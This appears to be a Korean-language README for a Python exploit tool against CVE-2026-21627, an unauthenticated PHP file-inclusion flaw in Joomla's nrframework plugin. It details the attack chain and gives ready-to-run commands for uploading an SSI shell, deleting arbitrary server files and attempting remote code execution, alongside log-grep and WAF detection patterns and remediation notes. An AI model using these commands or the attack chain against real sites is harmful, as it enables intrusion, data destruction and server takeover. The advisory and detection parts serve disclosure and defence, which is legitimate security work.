
Python 익스플로잇 for CVE-2026-21627, Joomla의 Novarain Framework에서 인증 없이 임의의 PHP 파일을 포함할 수 있는 취약점으로, 파일 업로드, 삭제 및 RCE를 가능하게 합니다.
| CVE ID | CVE-2026-21627 |
| CVSS 점수 | 9.5 (Critical) |
| 플러그인 | plg_system_nrframework (Tassos Framework / Novarain Framework) |
| 취약한 버전 | 4.10.14 ~ 6.0.37 |
| 수정 버전 | 6.0.38+ |
| CMS | Joomla 3.x, 4.x, 5.x |
nrframework 플러그인은 Tassos.gr의 여러 인기 Joomla 확장 프로그램에 포함되어 있으며, Convert Forms, Engage Box, Google Structured Data 등이 있습니다.
nrframework.php의 ajaxTaskInclude() 메서드는 $non_admin_tasks 배열을 통해 프론트엔드(비관리자) 접근에 대해 명시적으로 허용 목록에 포함됩니다. 이 메서드는 사용자 제어 가능한 세 가지 매개변수를 허용합니다:
path — RAW 입력 필터 사용 (검증 없음, 경로 탐색 가능)file — 기본 Joomla 입력 필터 사용class — 포함 후 인스턴스화할 클래스 이름연결된 경로 $path . $file . '.php'는 @include_once에 직접 전달되어 임의 PHP 파일 포함이 가능합니다. 포함 후 지정된 클래스가 인스턴스화되고 해당 onAJAX() 메서드가 사용자 제어 매개변수로 호출됩니다.
| 프리미티브 | 가젯 | 심각도 | 설명 |
|---|---|---|---|
| 파일 포함 | ajaxTaskInclude() | Critical | 서버의 모든 .php 파일 포함 가능 |
| 파일 삭제 | JFormFieldNRInlineFileUpload::onRemove() | Critical | 경로 검증 없는 unlink() — 웹 서버가 쓸 수 있는 모든 파일 삭제 가능 |
| 파일 업로드 | JFormFieldNRInlineFileUpload::onUpload() | High | 쓰기 가능한 웹 접근 디렉터리에 텍스트 파일 업로드 가능 |
| 경로 노출 | 업로드 응답 | Medium | JSON 응답에서 전체 파일 시스템 경로 유출 |
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]
| 모드 | 설명 | 위험도 |
|---|---|---|
verify | 취약점 존재 여부 확인 | 안전 / 읽기 전용 |
upload | 제어된 디렉터리에 파일 업로드 | 중간 |
delete | 서버의 임의 파일 삭제 | 파괴적 |
rce | 전체 RCE 체인 시도 (업로드 + 실행) | 높음 |
info | 정찰을 위한 임의 PHP 파일 포함 | 중간 |
취약점 확인:
python3 cve_2026_21627.py --target https://example.com --mode verify
개념 증명 파일 업로드:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
SSI 셸 업로드 (Apache mod_include 필요):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
RCE 체인 시도:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
파일 삭제 (파괴적):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t 대상 URL (필수)
--mode, -m 익스플로잇 모드: verify|upload|delete|rce|info (필수)
--sef-prefix Joomla SEF URL 접두사 (기본값: /it/)
--delay 요청 간 지연 시간(초) (기본값: 2.5)
--proxy HTTP 프록시 (예: http://127.0.0.1:8080)
--no-ssl-verify SSL 인증서 검증 비활성화
업로드 모드:
--shell-type 파일 유형: shtml|csv|txt|html (기본값: shtml)
--upload-dir JPATH_ROOT 기준 업로드 디렉터리 (기본값: images)
--custom-content 업로드할 사용자 지정 파일 내용
삭제 모드:
--file-path 삭제할 파일의 전체 서버 경로
RCE 모드:
--cmd 실행할 명령어 (기본값: id)
정보 모드:
--php-path JPATH_SITE 기준 PHP 파일 경로
--php-file .php 확장자 없는 PHP 파일 이름
--php-class 인스턴스화할 PHP 클래스
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ 공격자 │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX 라우터) │ │ │
│ task=include │ │ include는 │ │ path = RAW 입력 │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (인증 불필요) │ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (가젯 클래스) │
│ │
│ onAjax() ──> onUpload() [쓰기] │
│ ──> onRemove() [삭제] │
└─────────────────────────────────────┘
include 작업이 가젯 파일을 가리키는 제어된 path(RAW 필터 = 검증 없음)로 호출됩니다.JFormFieldNRInlineFileUpload 클래스는 파일 쓰기를 위한 onUpload()와 파일 삭제를 위한 onRemove()를 제공하며, 둘 다 입력 검증이 불충분합니다.requests 라이브러리pip install requests
공격 시도를 위해 액세스 로그 모니터링:
# Apache/Nginx 로그 패턴
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
WAF 규칙 — 다음 패턴과 일치하는 요청 차단:
option=com_ajax.*plugin=nrframework.*task=include.*path=
침해 후 감사:
images/ 및 기타 쓰기 가능한 디렉터리에 예상치 못한 파일이 있는지 확인configuration.php 및 .htaccess의 무결성 검증@include_once 경고 검토ajaxTaskInclude()를 완전히 제거하고 엄격한 핸들러 레지스트리(AjaxHandlerRegistry)로 대체합니다| 날짜 | 이벤트 |
|---|---|
| 2026-02 | 승인된 침투 테스트 중 취약점 발견 |
| 2026-02 | 익스플로잇 제작 |
| 2026-02 | 공개 공개 |
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 명시적인 서면 허가를 받은 시스템에 대해서만 이 익스플로잇을 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.
Yallasec — yallasec.com
Arcangelo Saracino — @arkango